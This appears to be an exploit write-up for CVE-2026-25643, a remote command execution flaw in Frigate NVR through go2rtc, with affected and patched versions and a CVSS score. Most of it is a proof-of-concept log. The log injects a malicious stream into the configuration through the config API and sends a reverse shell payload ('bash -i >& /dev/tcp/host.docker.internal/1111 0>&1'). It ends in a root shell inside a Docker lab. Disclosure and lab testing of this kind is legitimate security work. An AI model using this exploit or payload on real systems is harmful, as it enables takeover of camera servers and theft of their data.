CVE-2026-25643:
Frigate RCE
CVE-2026-25643 is a critical remote command execution bug in Frigate NVR (via go2rtc), disclosed in late January 2026 and fixed in Frigate 0.16.4. It occurs because a crafted stream configuration can cause go2rtc to execute attacker-supplied commands. If exploited, it can let an attacker run commands on the Frigate system, potentially leading to takeover of the service, access to camera data, and—if the setup is privileged—possible compromise of the underlying host.
Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.
Target : http://localhost:5001 Command: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1 [!] No credentials provided → attempting unauthenticated access [*] Fetching current configuration (/api/config/raw) ... [*] Config fetch → HTTP 200 [*] Received 904 bytes [*] Config was JSON-wrapped → unwrapped [+] Config parsed successfully (7 top-level keys) [*] Preparing payload → executing: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1 [*] Using payload: bash -c 'bash -i >& /dev/tcp/host.docker.internal/1111 0>&1' [+] Injected malicious stream → debug_cmd [+] Injected trigger camera → trigger_exec [*] Sending modified config (861 bytes) with option: restart [*] Config save → HTTP 200 [+] Configuration accepted (server should restart) ============================================================ Payload sent! Command should execute during go2rtc init / camera probe. Keep in mind: • Output is NOT captured (blind execution) • Command runs as the user/frigate process • Multiple executions may occur during restart ============================================================
Result of revere shell RCE:
bash: cannot set terminal process group (128): Inappropriate ioctl for device bash: no job control in this shell root@75b18849339b:/run/s6-rc:s6-rc-init:KPJEik/servicedirs/go2rtc# whoami whoami root
[*] No credentials provided. Trying unauthenticated access... [*] Waiting for validation... [*] Fetching configuration... [+] Payload injected into config structure. [+] Validation OK. Listening on 0.0.0.0:1111... [*] Sending malicious config & triggering restart...
Docker lab
After the docker compose has been setup you can start testing the proof of concepts on:
http://127.0.0.1:5001
9.1
Critical risk
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Compexity
low
Privileges
high
Affected
<= 0.16.3
Patched
>= 0.16.4